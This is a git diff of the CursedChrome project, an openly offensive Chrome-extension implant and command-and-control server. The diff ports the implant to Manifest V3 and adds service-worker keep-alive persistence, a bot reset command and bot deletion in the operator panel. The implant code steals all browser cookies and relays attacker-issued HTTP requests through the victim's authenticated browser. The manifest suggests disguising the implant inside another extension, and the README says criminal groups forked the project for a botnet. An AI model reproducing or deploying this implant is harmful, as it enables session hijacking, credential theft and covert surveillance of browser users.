diff --git a/README.md b/README.md index af4bb89..fc4763f 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,5 @@ # CursedChrome +## *Now with (beta) Manifest V3 support!*

@@ -10,6 +11,10 @@ I thought this was clearly-implied, and that these disclaimers were redundant at > This is a tool written for *professional red teams*. It helps simulate an often unpracticed attack scenario involving malicious browser extensions. If you're planning on using this to maliciously spy on your friend/girlfriend/victims, let me know your address and intent and I'll gladly forward your message to your local LEO for your convenience. +For the [many](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rilide-a-new-malicious-browser-extension-for-stealing-cryptocurrencies/) Russian [ecrime](https://www.justice.gov/opa/pr/criminal-marketplace-disrupted-international-cyber-operation) groups that forked this project for their botnet, see the following disclaimer instead: + +> Разве ты не должен быть на передовой, товарищ? Тебя ждет беспилотник. + ### Blue Teams/Defenders/CorpSec If you're on the blue team and wondering about ways to defend against this, take a look at my [ChromeGalvanizer project](https://github.com/mandatoryprogrammer/ChromeGalvanizer), which generates easy-to-install Chrome enterprise policies to defend against attacks like this. An easy-to-use hosted version is available [here](https://thehackerblog.com/galvanizer/). diff --git a/api-server.js b/api-server.js index be2acf6..ecda57b 100644 --- a/api-server.js +++ b/api-server.js @@ -166,6 +166,33 @@ async function get_api_server(proxy_utils) { }).end(); }); + /* + Delete a bot + */ + const DeleteBotSchema = { + type: 'object', + properties: { + bot_id: { + type: 'string', + required: true, + pattern: '[0-9a-f]{8}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{12}' + }, + } + } + app.delete(API_BASE_PATH + '/bots', validate({ body: DeleteBotSchema }), async (req, res) => { + const bot = await Bots.findOne({ + where: { + id: req.body.bot_id + } + }); + await bot.destroy(); + + res.status(200).json({ + "success": true, + "result": {} + }).end(); + }); + /* Get list of bots */ diff --git a/docker-compose.yaml b/docker-compose.yaml index ea6b168..fe808bf 100644 --- a/docker-compose.yaml +++ b/docker-compose.yaml @@ -1,4 +1,3 @@ -version: '3.2' services: redis: image: "redis:alpine" @@ -26,6 +25,7 @@ services: # Number of bcrypt rounds for # storing admin panel passwords. BCRYPT_ROUNDS: 10 + DEBUGGING: "yes" ports: - "127.0.0.1:8080:8080" # Proxy server - "127.0.0.1:4343:4343" # WebSocket server (talks with implants) diff --git a/extension/manifest.json b/extension/manifest.json index 1eeaf8b..e8e8fe8 100755 --- a/extension/manifest.json +++ b/extension/manifest.json @@ -1,7 +1,7 @@ { "name": "CursedChrome Implant", - "version": "0.0.1", - "manifest_version": 2, + "version": "0.0.2", + "manifest_version": 3, "description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.", "homepage_url": "https://thehackerblog.com", "icons": { @@ -11,15 +11,15 @@ }, "default_locale": "en", "background": { - "scripts": [ - "src/bg/background.js" - ], - "persistent": true + "service_worker": "src/bg/background.js" }, "permissions": [ "webRequest", - "webRequestBlocking", - "", - "cookies" + "cookies", + "storage", + "declarativeNetRequest" + ], + "host_permissions": [ + "" ] -} \ No newline at end of file +} diff --git a/extension/src/bg/background.js b/extension/src/bg/background.js index 296554e..bbe96f8 100755 --- a/extension/src/bg/background.js +++ b/extension/src/bg/background.js @@ -22,30 +22,41 @@ const REQUEST_HEADER_BLACKLIST = [ const RPC_CALL_TABLE = { 'HTTP_REQUEST': perform_http_request, - 'PONG': () => {}, // NOP, since timestamp is updated on inbound message. + 'PONG': () => { }, // NOP, since timestamp is updated on inbound message. 'AUTH': authenticate, 'GET_COOKIES': get_cookies, + 'RESET': reset, }; + +async function reset(params) { + // We've been reset, clear local identifier and reconnect + await chrome.storage.local.clear(); + websocket.close(); + websocket = false; + initialize(); + return false; +} + /* Return an array of cookies for the current cookie store. */ async function get_cookies(params) { // If the "cookies" permission is not available // just return an empty array. - if(!chrome.cookies) { + if (!chrome.cookies) { return []; } return getallcookies({}); } function getallcookies(details) { - return new Promise(function(resolve, reject) { + return new Promise(function (resolve, reject) { try { - chrome.cookies.getAll(details, function(cookies_array) { + chrome.cookies.getAll(details, function (cookies_array) { resolve(cookies_array); }); - } catch(e) { + } catch (e) { reject(e); } }); @@ -53,16 +64,15 @@ function getallcookies(details) { async function authenticate(params) { // Check for a previously-set browser identifier. - var browser_id = localStorage.getItem('browser_id'); + const browser_id_obj = await chrome.storage.local.get(['browser_id']); // If no browser ID is already set we generate a // new one and return it to the server. - if(browser_id === null) { + if (browser_id_obj === null || !('browser_id' in browser_id_obj)) { browser_id = uuidv4(); - localStorage.setItem( - 'browser_id', - browser_id - ); + await chrome.storage.local.set({ + 'browser_id': browser_id + }); } /* @@ -70,7 +80,7 @@ async function authenticate(params) { some metadata about the instance. */ return { - 'browser_id': browser_id, + 'browser_id': browser_id_obj.browser_id, 'user_agent': navigator.userAgent, 'timestamp': get_unix_timestamp() } @@ -79,16 +89,16 @@ async function authenticate(params) { function get_secure_random_token(bytes_length) { const validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; let array = new Uint8Array(bytes_length); - window.crypto.getRandomValues(array); + crypto.getRandomValues(array); array = array.map(x => validChars.charCodeAt(x % validChars.length)); const random_string = String.fromCharCode.apply(null, array); return random_string; } function uuidv4() { - return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c => - (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16) - ); + return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c => + (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16) + ); } function arrayBufferToBase64(buffer) { @@ -98,7 +108,7 @@ function arrayBufferToBase64(buffer) { for (var i = 0; i < len; i++) { binary += String.fromCharCode(bytes[i]); } - return window.btoa(binary); + return btoa(binary); } function get_unix_timestamp() { @@ -240,7 +250,7 @@ async function perform_http_request(params) { const redirect_hack_url_prefix = `${location.origin.toString()}/redirect-hack.html?id=`; // Handler 301, 302, 307 edge case - if(response.url.startsWith(redirect_hack_url_prefix)) { + if (response.url.startsWith(redirect_hack_url_prefix)) { var response_metadata_string = decodeURIComponent(response.url); response_metadata_string = response_metadata_string.replace( redirect_hack_url_prefix, @@ -300,11 +310,10 @@ function initialize() { // snitch don't alert on a new port connection from Chrome). websocket = new WebSocket("ws://127.0.0.1:4343"); - websocket.onopen = function(e) { - //websocket.send("My name is John"); + websocket.onopen = function (e) { }; - websocket.onmessage = async function(event) { + websocket.onmessage = async function (event) { // Update last live connection timestamp last_live_connection_timestamp = get_unix_timestamp(); @@ -320,6 +329,9 @@ function initialize() { if (parsed_message.action in RPC_CALL_TABLE) { const result = await RPC_CALL_TABLE[parsed_message.action](parsed_message.data); + if (result === false) { + return; + } websocket.send( JSON.stringify({ // Use same ID so it can be correlated with the response @@ -333,7 +345,7 @@ function initialize() { } }; - websocket.onclose = function(event) { + websocket.onclose = function (event) { if (event.wasClean) { console.log(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`); } else { @@ -343,7 +355,7 @@ function initialize() { } }; - websocket.onerror = function(error) { + websocket.onerror = function (error) { console.log(`[error] ${error.message}`); }; } @@ -372,9 +384,9 @@ Additionally, for defense in depth, nothing that isn't initiated by the Chrome e is actually processed. */ chrome.webRequest.onBeforeSendHeaders.addListener( - function(details) { + function (details) { // Ensure we only process requests done by the Chrome extension - if(details.initiator !== location.origin.toString()) { + if (details.initiator !== location.origin.toString()) { return } @@ -382,54 +394,54 @@ chrome.webRequest.onBeforeSendHeaders.addListener( var header_keys_to_delete = []; var headers_to_append = []; - details.requestHeaders.map(requestHeader => { - if(requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) { - has_header_secret = true; - header_keys_to_delete.push('X-PLACEHOLDER-SECRET'); - } - }); + details.requestHeaders.map(requestHeader => { + if (requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) { + has_header_secret = true; + header_keys_to_delete.push('X-PLACEHOLDER-SECRET'); + } + }); - // If there's no secret header set with the - // proper secret then quit out the proxy replacement. - if(!has_header_secret) { - return { - cancel: false - }; - } + // If there's no secret header set with the + // proper secret then quit out the proxy replacement. + if (!has_header_secret) { + return { + cancel: false + }; + } - // Get headers to remove and headers to append - details.requestHeaders.map(requestHeader => { - if(!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) { - header_keys_to_delete.push(requestHeader.name); + // Get headers to remove and headers to append + details.requestHeaders.map(requestHeader => { + if (!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) { + header_keys_to_delete.push(requestHeader.name); // Skip the header if it's in the blacklist (e.g. Cookie) - if(REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) { + if (REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) { return } - headers_to_append.push({ - 'name': requestHeader.name.replace('X-PLACEHOLDER-', ''), - 'value': requestHeader.value - }) - } - }); + headers_to_append.push({ + 'name': requestHeader.name.replace('X-PLACEHOLDER-', ''), + 'value': requestHeader.value + }) + } + }); - // Remove headers - details.requestHeaders = details.requestHeaders.filter(requestHeader => { - return !header_keys_to_delete.includes(requestHeader.name); - }); + // Remove headers + details.requestHeaders = details.requestHeaders.filter(requestHeader => { + return !header_keys_to_delete.includes(requestHeader.name); + }); - // Add appended headers - details.requestHeaders = details.requestHeaders.concat( - headers_to_append - ); + // Add appended headers + details.requestHeaders = details.requestHeaders.concat( + headers_to_append + ); return { - requestHeaders: details.requestHeaders + requestHeaders: details.requestHeaders }; }, { - urls: [""] - }, ["blocking", "requestHeaders", "extraHeaders"] + urls: [""] +}, ["requestHeaders", "extraHeaders"] ); @@ -439,29 +451,29 @@ const REDIRECT_STATUS_CODES = [ 307 ]; -chrome.webRequest.onHeadersReceived.addListener(function(details) { +chrome.webRequest.onHeadersReceived.addListener(function (details) { // Ensure we only process requests done by the Chrome extension - if(details.initiator !== location.origin.toString()) { + if (details.initiator !== location.origin.toString()) { return } // Rewrite Set-Cookie to expose it in fetch() var cookies = [] details.responseHeaders.map(responseHeader => { - if(responseHeader.name.toLowerCase() === 'set-cookie') { + if (responseHeader.name.toLowerCase() === 'set-cookie') { cookies.push(responseHeader.value); } }); if (cookies.length != 0) { details.responseHeaders.push({ - 'name': 'X-Set-Cookie', - // We pack array of cookies into string and depack later. - // Otherwise multiple Set-Cookie headers would be merged together. - 'value': JSON.stringify(cookies) + 'name': 'X-Set-Cookie', + // We pack array of cookies into string and depack later. + // Otherwise multiple Set-Cookie headers would be merged together. + 'value': JSON.stringify(cookies) }); } - if(!REDIRECT_STATUS_CODES.includes(details.statusCode)) { + if (!REDIRECT_STATUS_CODES.includes(details.statusCode)) { return { responseHeaders: details.responseHeaders } @@ -480,4 +492,48 @@ chrome.webRequest.onHeadersReceived.addListener(function(details) { }; }, { urls: [""] -}, ["blocking", "responseHeaders", "extraHeaders"]); +}, ["responseHeaders", "extraHeaders"]); + + +(async () => { + // From https://developer.chrome.com/docs/extensions/develop/migrate/to-service-workers#keep_a_service_worker_alive_continuously + /** + * Tracks when a service worker was last alive and extends the service worker + * lifetime by writing the current time to extension storage every 20 seconds. + * You should still prepare for unexpected termination - for example, if the + * extension process crashes or your extension is manually stopped at + * chrome://serviceworker-internals. + */ + let heartbeatInterval; + + async function runHeartbeat() { + await chrome.storage.local.set({ 'last-heartbeat': new Date().getTime() }); + } + + /** + * Starts the heartbeat interval which keeps the service worker alive. Call + * this sparingly when you are doing work which requires persistence, and call + * stopHeartbeat once that work is complete. + */ + async function startHeartbeat() { + // Run the heartbeat once at service worker startup. + runHeartbeat().then(() => { + // Then again every 20 seconds. + heartbeatInterval = setInterval(runHeartbeat, 20 * 1000); + }); + } + + async function stopHeartbeat() { + clearInterval(heartbeatInterval); + } + + /** + * Returns the last heartbeat stored in extension storage, or undefined if + * the heartbeat has never run before. + */ + async function getLastHeartbeat() { + return (await chrome.storage.local.get('last-heartbeat'))['last-heartbeat']; + } + + await startHeartbeat(); +})(); \ No newline at end of file diff --git a/gui/src/components/Main.vue b/gui/src/components/Main.vue index 0494937..0f8ecdd 100644 --- a/gui/src/components/Main.vue +++ b/gui/src/components/Main.vue @@ -165,6 +165,12 @@ Rename +


+
+ + Delete Bot + +
@@ -284,6 +290,17 @@ export default { this.user.password_should_be_changed = login_result.password_should_be_changed; }, + async delete_bot() { + await api_request( + 'DELETE', + '/bots', { + 'bot_id': this.options_selected_bot.id + } + ); + this.$toastr.s('Bot deleted succesfully.'); + this.$bvModal.hide('bot_options_modal'); + this.refresh_bots(); + }, async update_bot_name() { await api_request( 'PUT', diff --git a/server.js b/server.js index 566a00e..0e6cb41 100644 --- a/server.js +++ b/server.js @@ -4,6 +4,7 @@ const cluster = require('cluster'); const WebSocket = require('ws'); const https = require('https'); const redis = require("redis"); +const http = require('http'); const uuid = require('uuid'); const util = require('util'); const fs = require('fs'); @@ -33,7 +34,7 @@ const numCPUs = require('os').cpus().length; const PROXY_PORT = process.env.PROXY_PORT || 8080; const WS_PORT = process.env.WS_PORT || 4343; const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118; -const SERVER_VERSION = '1.0.0'; +const SERVER_VERSION = '1.0.1'; const RPC_CALL_TABLE = { 'PING': ping, @@ -46,6 +47,31 @@ const REQUEST_TABLE = new NodeCache({ }); async function ping(websocket_connection, params) { + + + // Update bot as online + const bot = await Bots.findOne({ + where: { + browser_id: websocket_connection.browser_id + } + }); + + if (!bot) { + websocket_connection.send( + JSON.stringify({ + 'id': uuid.v4(), + 'version': SERVER_VERSION, + 'action': 'RESET', + 'data': {} + }) + ) + return + } + + await bot.update({ + is_online: true, + }); + // Send PONG message back websocket_connection.send( JSON.stringify({ @@ -55,16 +81,6 @@ async function ping(websocket_connection, params) { 'data': {} }) ) - - // Update bot as online - const bot = await Bots.findOne({ - where: { - browser_id: websocket_connection.browser_id - } - }); - await bot.update({ - is_online: true, - }); } function get_browser_proxy(input_browser_id) { @@ -79,9 +95,9 @@ function get_browser_proxy(input_browser_id) { } function authenticate_client(websocket_connection) { - return new Promise(function(resolve, reject) { + return new Promise(function (resolve, reject) { // For timeout, will reject if no response in 30 seconds. - setTimeout(function() { + setTimeout(function () { reject(`A timeout occurred when authenticating WebSocket client.`); }, (30 * 1000)); @@ -109,9 +125,9 @@ function authenticate_client(websocket_connection) { } function get_browser_cookie_array(browser_id) { - return new Promise(function(resolve, reject) { + return new Promise(function (resolve, reject) { // For timeout, will reject if no response in 30 seconds. - setTimeout(function() { + setTimeout(function () { reject(`Get cookies RPC called timed out.`); }, (30 * 1000)); @@ -149,9 +165,9 @@ function get_browser_cookie_array(browser_id) { } function send_request_via_browser(browser_id, authenticated, url, method, headers, body) { - return new Promise(function(resolve, reject) { + return new Promise(function (resolve, reject) { // For timeout, will reject if no response in 30 seconds. - setTimeout(function() { + setTimeout(function () { reject(`Request Timed Out for URL ${url}!`); }, (30 * 1000)); @@ -248,7 +264,7 @@ async function get_authentication_status(inputRequestDetail) { // If we already have this cached we can stop here. const credential_data_string = await getAsync(memory_cache_key); - if(credential_data_string) { + if (credential_data_string) { const cached_record = JSON.parse(credential_data_string); return { 'id': cached_record.id, @@ -274,7 +290,7 @@ async function get_authentication_status(inputRequestDetail) { // No need to wait for this to resolve await setexAsync( memory_cache_key, - ( 60 * 10 ), + (60 * 10), JSON.stringify(browserproxy_record), ); @@ -355,7 +371,7 @@ const options = { //throttle: 10000, forceProxyHttps: true, wsIntercept: false, - silent: true + silent: !(process.env.DEBUGGING === "yes") }; async function initialize_new_browser_connection(ws) { @@ -432,7 +448,7 @@ async function initialize() { redis_client = redis.createClient({ "host": process.env.REDIS_HOST, }); - redis_client.on("error", function(error) { + redis_client.on("error", function (error) { logit(`Redis client encountered an error:`); console.error(error); }); @@ -449,12 +465,12 @@ async function initialize() { delAsync = util.promisify(redis_client.del).bind(redis_client); // Called when a new redis subscription is added - subscriber.on("subscribe", function(channel, count) { + subscriber.on("subscribe", function (channel, count) { //logit(`New subscription created for channel ${channel}, bring total to ${count}.`); }); // Called when a new message is written to a channel - subscriber.on("message", function(channel, message) { + subscriber.on("message", function (channel, message) { //logit(`Received a new message at channel '${channel}', message is '${message}'`); // For messages being sent to the browser from the proxy @@ -495,8 +511,21 @@ async function initialize() { } }); + // Build HTTP server first and pass to WS server + // This is a forward-looking change so versioning doesn't + // become a clusterfuck with addon tools for the server. + const http_server = http.createServer(function (req, res) { + res.writeHead(200, { + 'Content-Type': 'text/plain', + 'CC-Server-Version': SERVER_VERSION, + }); + res.write(''); + res.end(); + }).listen(WS_PORT); + wss = new WebSocket.Server({ - port: WS_PORT + server: http_server + // port: WS_PORT }); wss.on('connection', async function connection(ws) {